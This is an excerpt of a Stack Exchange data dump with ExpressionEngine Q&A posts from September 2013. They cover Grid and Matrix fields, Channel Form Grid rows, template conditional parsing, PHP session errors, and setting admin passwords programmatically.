  <row Id="13381" PostTypeId="2" ParentId="13378" CreationDate="2013-09-02T05:42:15.297" Score="3" Body="&lt;p&gt;If by &quot;robust enough&quot; you mean do they have basically the same features, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used EE's Relationships without any issues. I love Grid's search:column_name feature. That's a step up from Matrix. However, since it is brand new, it does not work with as many third party fieldtypes as Matrix. I'm sure that will change in the next 2-3 months. Depending on the fieldtypes you need for your image gallery, Grid will get the job done.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-09-02T05:42:15.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13382" PostTypeId="1" AcceptedAnswerId="13399" CreationDate="2013-09-02T08:23:30.930" Score="3" ViewCount="1538" Body="&lt;p&gt;I've been experimenting with ExpressionEngine 2.7.0, attempting to replace my use of Matrix with Grid and updating my Safecracker forms with Channel Forms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I have a template where users are able to create a channel entry in a SafeCracker form, which includes populating the first row in a Matrix field within that entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to replace that with a template where users are able to create an entry using a Channel Form and populate a row in a Grid field. I've successfully changed it to a Channel Form, but can't for the life of me figure out how to populate a Grid field. I'll share the code I was previously using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:safecracker channel=&quot;routine&quot; return=&quot;&quot; json=&quot;yes&quot; rules:field_id_3[row_new_0][col_id_1]=&quot;valid_ee_date&quot;}&#xA;            &amp;lt;input name=&quot;RET&quot; type=&quot;hidden&quot; value=&quot;/&quot; /&amp;gt;&#xA;            &amp;lt;input name=&quot;title&quot; type=&quot;hidden&quot; value=&quot;New Routine&quot; /&amp;gt;&#xA;            &amp;lt;input name=&quot;routine_catalyst&quot; type=&quot;text&quot; /&amp;gt;&#xA;            &amp;lt;input name=&quot;routine_reaction&quot; type=&quot;text&quot; /&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;field_id_3[row_order][]&quot; value=&quot;row_new_0&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;field_id_3[row_new_0][col_id_1]&quot; value=&quot;{entry_date}&quot; /&amp;gt;&#xA;            &amp;lt;select style=&quot;display: none&quot; name=&quot;field_id_3[row_new_0][col_id_2]&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;n&quot; selected=&quot;&quot;&amp;gt;NO&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;y&quot;&amp;gt;YES&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;select name=&quot;category[]&quot; id=&quot;routine_category&quot; size=&quot;4&quot; multiple=&quot;multiple&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;&#xA;            {categories}&#xA;           &amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;        {/categories}   &#xA;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        {/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and what I currently have below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:form&#xA;        channel=&quot;routine&quot;&#xA;        return=&quot;&quot;&#xA;        json=&quot;yes&quot;&#xA;    }&#xA;&#xA;        &amp;lt;input name=&quot;RET&quot; type=&quot;hidden&quot; value=&quot;/&quot; /&amp;gt;&#xA;        &amp;lt;input name=&quot;title&quot; type=&quot;hidden&quot; value=&quot;New Routine&quot; /&amp;gt;&#xA;        &amp;lt;input name=&quot;routine_catalyst&quot; type=&quot;text&quot; /&amp;gt;&#xA;        &amp;lt;input name=&quot;routine_reaction&quot; type=&quot;text&quot; /&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;routine_occurence[row_order][]&quot; value=&quot;row_new_0&quot; /&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;&quot; name=&quot;routine_occurence:date&quot; value=&quot;{entry_date}&quot; /&amp;gt;&#xA;        &amp;lt;select style=&quot;&quot; name=&quot;routine_occurence:complete&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;false&quot; selected=&quot;&quot;&amp;gt;false&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;true&quot;&amp;gt;true&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;select name=&quot;category[]&quot; id=&quot;routine_category&quot; size=&quot;4&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;&#xA;        {categories}&#xA;            &amp;lt;option value=&quot;{category_id}&quot;{selected}&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;        {/categories}   &#xA;&#xA;        &amp;lt;/select&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; /&amp;gt;&#xA;&#xA;    {/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know it's still new, but I was wondering whether anyone had had any success with this? The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; are pretty lacking in the area at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I should add that when I use the above code, I receive PHP errors with the message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Undefined offset: 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/Grid_lib.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 238&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the entry is created, without the Grid row being entered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: Solution below&lt;/p&gt;&#xA;" OwnerUserId="1970" LastEditorUserId="1970" LastEditDate="2013-09-02T13:53:24.090" LastActivityDate="2013-12-26T11:36:02.547" Title="How do I add a Grid row using a Channel Form?" Tags="|channel-entries|matrix|safecracker|forms|grid|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13383" PostTypeId="2" ParentId="13378" CreationDate="2013-09-02T08:23:42.397" Score="2" Body="&lt;p&gt;On top of better compatibility with third party fieldtypes, Playa and Matrix also have, IMHO, better and more polished UI. For example, if your client needs to search / filter through loads of entries, Playa is better suited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, what you set on using depends on the project requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is default: not sure I get that one. To my knowledge, what you describe is not possible to automate. I just make the &quot;default&quot; picture (if that's what you are talking about) is always the first one. Since rows can be reordered easily, clients do get it.&lt;/li&gt;&#xA;&lt;li&gt;Pagination inside grid: ok with &lt;a href=&quot;http://docs.pixelandtonic.com/matrix/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt; (prev_row / next_row) as well as with &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html#modifiers&quot; rel=&quot;nofollow&quot;&gt;native grid&lt;/a&gt; (prefix:prev_row / prefix:next_row)&lt;/li&gt;&#xA;&lt;li&gt;Relationships inside grid: available w/ Matrix and Playa and &lt;a href=&quot;http://ellislab.com/blog/entry/2.7-grid-ready-addons&quot; rel=&quot;nofollow&quot;&gt;natively&lt;/a&gt; too&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Functionality-wise, these fieldtypes are pretty similar (although I haven't used grid in production yet). I am a big fan of the care and thought about usability that has been put into Matrix and Playa. The latter particularly has had nothing but praise from my users. Here is &lt;a href=&quot;http://eeinsider.com/blog/native-relationship-field-and-playa-side-by-side&quot; rel=&quot;nofollow&quot;&gt;a video compairing both options on EE insider&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-09-04T07:44:37.300" LastActivityDate="2013-09-04T07:44:37.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13384" PostTypeId="2" ParentId="13377" CreationDate="2013-09-02T08:25:50.673" Score="1" Body="&lt;p&gt;I think, you would like to show the Date (like day, month name) in different languages. Right?&#xA;If you are using language pack for multi-language then you can change those into language file   &quot;system\expressionengine\language\english\core_lang.php&quot;. This is for English, you can do same for other language.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-02T08:25:50.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13385" PostTypeId="1" AcceptedAnswerId="13391" CreationDate="2013-09-02T08:37:44.070" Score="0" ViewCount="553" Body="&lt;p&gt;I have an Expresso:Store site and I am using the following conditionals in the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA;{if no_items}&#xA;    &amp;lt;a href=&quot;{path='store/checkout'}&quot;&amp;gt;Your bag is empty&amp;lt;/a&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;            {if logged_in}&#xA;                &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;{path='store/my_orders'}&quot;&amp;gt;My Orders&amp;lt;/a&amp;gt;&#xA;                &amp;lt;!-- template parsing fails --&amp;gt;&#xA;            {if:else}&#xA;                &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;{path='account/login'}&quot;&amp;gt;Login&amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;         &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;&amp;lt;a href=&quot;{path='store/checkout'}&quot;&amp;gt;My Shopping Bag ({order_qty})&amp;lt;/a&amp;gt;&#xA;    &amp;lt;div class=&quot;details&quot;&amp;gt;&#xA;         &amp;lt;span class=&quot;price&quot;&amp;gt;{order_subtotal}&amp;lt;/span&amp;gt;&amp;lt;a href=&quot;{path='store/checkout'}&quot;&amp;gt;Checkout&amp;lt;/a&amp;gt;&#xA;     {if logged_in}&#xA;         &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;{path='store/my_orders'}&quot;&amp;gt;My Orders&amp;lt;/a&amp;gt;&#xA;     {if:else}&#xA;         &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;{path='account/login'}&quot;&amp;gt;Login&amp;lt;/a&amp;gt;&#xA;     {/if}&#xA;     &amp;lt;/div&amp;gt;&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I am logged in, the template parses fine and everything works.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am NOT logged in, the template parses up to the commented line  and the header template fails to output anything after that line, breaking the remaining page layout.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's as if it just stops after that line, but I can't work out what I have done wrong, there are no template errors I can see in the EE template editor.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="1147" LastEditDate="2013-09-02T10:22:39.473" LastActivityDate="2013-09-02T10:25:26.093" Title="If logged in statement failing - template not parsing properly" Tags="|members|conditionals|template-scripting|" AnswerCount="3" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13386" PostTypeId="1" AcceptedAnswerId="13468" CreationDate="2013-09-02T08:39:40.810" Score="0" ViewCount="261" Body="&lt;p&gt;On the site, the errors shown below are appearing on the bottom of the home page, and also appear when I try and complete a SagePay test payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing a bit of digging, it appears it may be something to do with a firewall blocking permission, but not sure. Can anyone confirm this, and also, does Expression Engine need to connect to a port?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Unknown: open(/var/lib/php/session/sess_4l2sqvju8b8ji8usse9vq4ekk7, O_RDWR) failed: Permission denied (13)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: Unknown&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 0&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (/var/lib/php/session)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: Unknown&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 0&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="1971" LastActivityDate="2013-09-04T14:32:22.923" Title="PHP Errors - possible firewall block?" Tags="|ee2|php|error|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13387" PostTypeId="2" ParentId="13377" CreationDate="2013-09-02T09:12:50.410" Score="0" Body="&lt;p&gt;Time / date values seem to be hardcoded in English in the plugin code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few things you can try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Ping the dev &lt;a href=&quot;https://github.com/pvledoux/Nice_time.ee2_addon&quot; rel=&quot;nofollow&quot;&gt;on github&lt;/a&gt; or via email (look at the source code)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As a temporary solution you could use Low Replace (or something similar) to replace some text in English by its equivalent in whatever language you need.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;on|1 day ago|([0-9]+) days ago&quot; replace=&quot;le|il y a 1 jour|il y a $1 jours&quot; multiple=&quot;yes&quot; regex=&quot;yes&quot;}&#xA;    {exp:nice_time date=&quot;{entry_date}&quot; format=&quot;%d-%m-%Y&quot;}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-09-02T09:12:50.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13389" PostTypeId="1" CreationDate="2013-09-02T09:55:44.200" Score="4" ViewCount="3004" Body="&lt;p&gt;As part of a build/deployment script I will need to programmatically set the site admin password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2361/what-is-the-mysql-function-for-exp-members-password-column&quot;&gt;this&lt;/a&gt; question but the output from the accepted answer does not work. I see extra columnd &lt;code&gt;salt&lt;/code&gt; and &lt;code&gt;crypt_key&lt;/code&gt;. I'm guessing these are use in when generating the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know the function used to generate password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1987" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-02T18:51:31.597" Title="Change admin password programmatically using PHP or MySQL" Tags="|admin|password|automation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13390" PostTypeId="2" ParentId="13385" CreationDate="2013-09-02T10:09:14.670" Score="2" Body="&lt;p&gt;Try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if logged_in}&#xA;     &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;{path='store/my_orders'}&quot;&amp;gt;My Orders&amp;lt;/a&amp;gt;&#xA; {/if}&#xA; {if logged_out}&#xA;     &amp;lt;br /&amp;gt;&amp;lt;a href=&quot;{path='account/login'}&quot;&amp;gt;Login&amp;lt;/a&amp;gt;&#xA; {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if it's an EE version thing, but {if:else} never used to work for me on older EE versions, but does with the latest. Either that or it's where it's used (EE introduced new conditional parsing rules with a more recent update), so the {if:else} may work in channel:entries, but not outside.  Just theoretical.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-02T10:09:14.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13391" PostTypeId="2" ParentId="13385" CreationDate="2013-09-02T10:19:17.663" Score="0" Body="&lt;p&gt;Perhaps it's to do with parse order? From my understanding, the {if:else} conditional (particularly of the logged_in variety) is counted as an advanced conditional, so gets parsed later than modules, such as the Expresso:store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just guessing, but perhaps when parsing exp:store:cart, it's interpreting the {if:else} on line 9 as being part of the {if no_items} conditional, rather than the {if logged_in}. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps&lt;/p&gt;&#xA;" OwnerUserId="1970" LastActivityDate="2013-09-02T10:19:17.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13392" PostTypeId="2" ParentId="13385" CreationDate="2013-09-02T10:25:26.093" Score="0" Body="&lt;p&gt;I have worked out that the issue is something to do with nesting {if logged_in} within the {if no_items} loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is all working fine without the {if} statement in the expresso:store {no_items} - a bit of reworking the code to not need any nested loops worked much better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't explain the issue, but it's resolved my problem.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2013-09-02T10:25:26.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13393" PostTypeId="2" ParentId="13386" CreationDate="2013-09-02T11:07:41.070" Score="0" Body="&lt;p&gt;given you're using CartThrob and SagePay - we had a similar problem back in December. Have a look at extload.php inside themes/third_party/cartthrob/lib and update as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That certainly fixed our issue.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-09-02T11:07:41.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13394" PostTypeId="2" ParentId="13382" CreationDate="2013-09-02T11:17:04.977" Score="0" Body="&lt;p&gt;I've not tried this yet, but certainly &lt;code&gt;[row_order]&lt;/code&gt; is not going to work because that's Matrix lingo. Any luck with using &lt;code&gt;[row_id]&lt;/code&gt; instead?&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-09-02T11:17:04.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13395" PostTypeId="2" ParentId="13389" CreationDate="2013-09-02T11:49:59.933" Score="2" Body="&lt;p&gt;Try this code by putting withing a EE template and run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('auth');&#xA;ee()-&amp;gt;auth-&amp;gt;update_password([MEMBER ID], '[NEW PASSWORD]');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For EE2.4:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$EE =&amp;amp; get_instance();&#xA;$EE-&amp;gt;load-&amp;gt;library('auth');&#xA;$EE-&amp;gt;auth-&amp;gt;update_password([MEMBER ID], '[NEW PASSWORD]');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastEditorUserId="872" LastEditDate="2013-09-02T12:20:18.643" LastActivityDate="2013-09-02T12:20:18.643" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13396" PostTypeId="1" AcceptedAnswerId="13412" CreationDate="2013-09-02T12:08:59.890" Score="0" ViewCount="1874" Body="&lt;p&gt;From so long facing this issue, don't getting the result if I pass the php variable inside exp:channel's as paramater, I have mentioned the code below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$entryId = &quot;1&quot;;&#xA;$entryId = &quot;1|2|3&quot;;&#xA;&#xA;{exp:channel:entries entry_id='&amp;lt;?=$entryId?&amp;gt;'}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    {paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would love to allow both of them, One of these atleast. But as of now in my case none of these is working. it didnt accept PHP variable, and returns null or blank. If I write directly like this &lt;br/&gt;&#xA;&lt;code&gt;entry_id=&quot;1&quot; OR entry_id=&quot;1|2|3&quot;&lt;/code&gt;, &lt;br/&gt;that will work perfect. and returns the entries and I've print the title of entry, So got the results.&lt;br/&gt; And Yes I have allow &lt;code&gt;PHP&lt;/code&gt; in my template from preference.&lt;br/&gt;&#xA;Can anybody find what I am making mistake in this..??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please to help me, its such a irritating issue for me now..&#xA;I am open make any kind of changes.&lt;br/&gt;&#xA;All of suggestions will be allowed..&lt;br/&gt;&lt;br/&gt;&#xA;Thanks in Advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sir, Here I am not passing the segment, its a php form submit. So, I got the data in php $_POST Variable, I have used that in sql query[i.e. simple basic code like mysql_query and mysql_fetch_array]. I used this code, becuase of the same problem, I am not getting PHP variable inside exp:channel. Otherwise I like to use that {exp:query sql=&quot;...&quot;}. Now what should I do.?? In actual its a result of search criteria. In form I have lots of fields with check box, whatever checkbox are checked that will be pass in from post, N here I got the result in $_POST variable[those are channel's fields], and need to pass that $_POST data and then what result i got on the base of channel's fields that is entries that will be display.&lt;/p&gt;&#xA;" OwnerUserId="1937" LastEditorUserId="1937" LastEditDate="2013-09-02T12:48:50.430" LastActivityDate="2013-09-03T12:21:10.950" Title="Inside exp:channel:entries PHP Variable not working" Tags="|channel-entries|channel|entries|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13397" PostTypeId="2" ParentId="13396" CreationDate="2013-09-02T12:19:48.820" Score="0" Body="&lt;p&gt;Try a different approach using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&quot; rel=&quot;nofollow&quot;&gt;segment variables&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you want a list of entry ids, wrap the channel entries tag in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/&quot; rel=&quot;nofollow&quot;&gt;query&lt;/a&gt; module&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT GROUP_CONCAT(entry_id) AS entry_ids FROM exp_channel_titles WHERE ...put your conditions here...&quot;}&#xA;{exp:channel:entries channel=&quot;news&quot; entry_id=&quot;{entry_ids}&quot; limit=&quot;10&quot;}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;{/exp:channel:entries}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Php in templates is not recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: ok, so you have a search form and want to display entries, try &lt;a href=&quot;http://devot-ee.com/add-ons/dynamo&quot; rel=&quot;nofollow&quot;&gt;dynamo&lt;/a&gt; or &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3astash%3abundle%7D&quot; rel=&quot;nofollow&quot;&gt;stash bundle&lt;/a&gt;. Youll need to do some reading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI. I originaly used dynamo. Then wanted it to do more, so altered the source code. Then switched to stash bundles. &lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-09-02T13:26:45.650" LastActivityDate="2013-09-02T13:26:45.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13398" PostTypeId="2" ParentId="7188" CreationDate="2013-09-02T12:24:10.823" Score="0" Body="&lt;p&gt;you can fix this by going to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;\system\expressionengine\third_party\nsm_tiny_mce\ft.nsm_tiny_mce.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return form_textarea(array(&#xA;   'name' =&amp;gt; $this-&amp;gt;cell_name,&#xA;   'id' =&amp;gt; $this-&amp;gt;col_id,&#xA;   'value' =&amp;gt; $data,&#xA;   'rows' =&amp;gt; ' ',&#xA;   'style' =&amp;gt; &quot;height: {$this-&amp;gt;settings['height']}px&quot;&#xA;  ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Replace this with&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return ' &amp;lt;textarea name=&quot;'.$this-&amp;gt;cell_name.'&quot; id=&quot;'.$this-&amp;gt;col_id.'&quot; style=&quot;height:'.$this-&amp;gt;settings['height'].'px&quot;&amp;gt;'.$data.'&amp;lt; /textarea&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1988" LastEditorUserId="55" LastEditDate="2013-09-05T16:56:34.253" LastActivityDate="2013-09-05T16:56:34.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13399" PostTypeId="2" ParentId="13382" CreationDate="2013-09-02T13:06:02.597" Score="3" Body="&lt;p&gt;So, I've found a way to achieve this, which seems to work in the reduced test case that I created (Grid fieldtype with one column of text type and only one entry being entered in at a time). In the future, I'll create test that's a bit more complex and see if it becomes more involved. The code for this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;input type=&quot;hidden&quot; name=&quot;field_id_9[rows][new_row_0][]&quot; value=&quot;new_row_0&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;field_id_9[rows][new_row_0][col_id_5]&quot; value=&quot;{entry_date}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The magic numbers you see floating in there (9 &amp;amp; 5) correspond to the custom field ID for the Grid field and the column ID for the data respectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely, the Column ID does not necessarily begin at 0. That is, I had three Grid fields in that Channel Field Group, the former two having two columns in them. This third Grid field had one column and was created last, making it column 5, despite the Grid fields not actually being one field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this can be extended to add more than one row by creating further instances (new_row_1, new_row_2) etc, or extended to use more than one column by creating more inputs (col_id_6, col_id_6).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps others and cheers for anyone who scratched their head for it.&lt;/p&gt;&#xA;" OwnerUserId="1970" LastEditorUserId="1970" LastEditDate="2013-09-02T13:22:24.707" LastActivityDate="2013-09-02T13:22:24.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13400" PostTypeId="2" ParentId="13368" CreationDate="2013-09-02T14:15:11.323" Score="3" Body="&lt;p&gt;You want to take a look at custom product modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/store/product_tag.html#inputcustom_modifier_name&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/product_tag.html#inputcustom_modifier_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will let you pass any text along with the product through to the checkout.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-09-02T14:15:11.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13401" PostTypeId="2" ParentId="13389" CreationDate="2013-09-02T18:40:11.393" Score="1" Body="&lt;p&gt;If you find that you need to get at this at a lower level, you might take a look at the source code in &lt;a href=&quot;https://bitbucket.org/ajweaver/ajw_import_members&quot; rel=&quot;nofollow&quot;&gt;AJW Member Import&lt;/a&gt;. (I was just using this as a reference for a similar need...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the do_import() function in ajw_import_members_model.php (line 186), you'll see this simple conversion of a plain text password to the proper hash used by EE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data[&quot;password&quot;] = do_hash( $data[&quot;password&quot;] );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The do_hash() function is just one of the &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/helpers/security_helper.html&quot; rel=&quot;nofollow&quot;&gt;CodeIgniter Security Helper&lt;/a&gt; functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like this is just a standard SHA1 hash--if so, you should be able to hash the password in any language script (e.g., if your build / deploy script is Javascript/Node or Ruby, etc.)&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-02T18:40:11.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
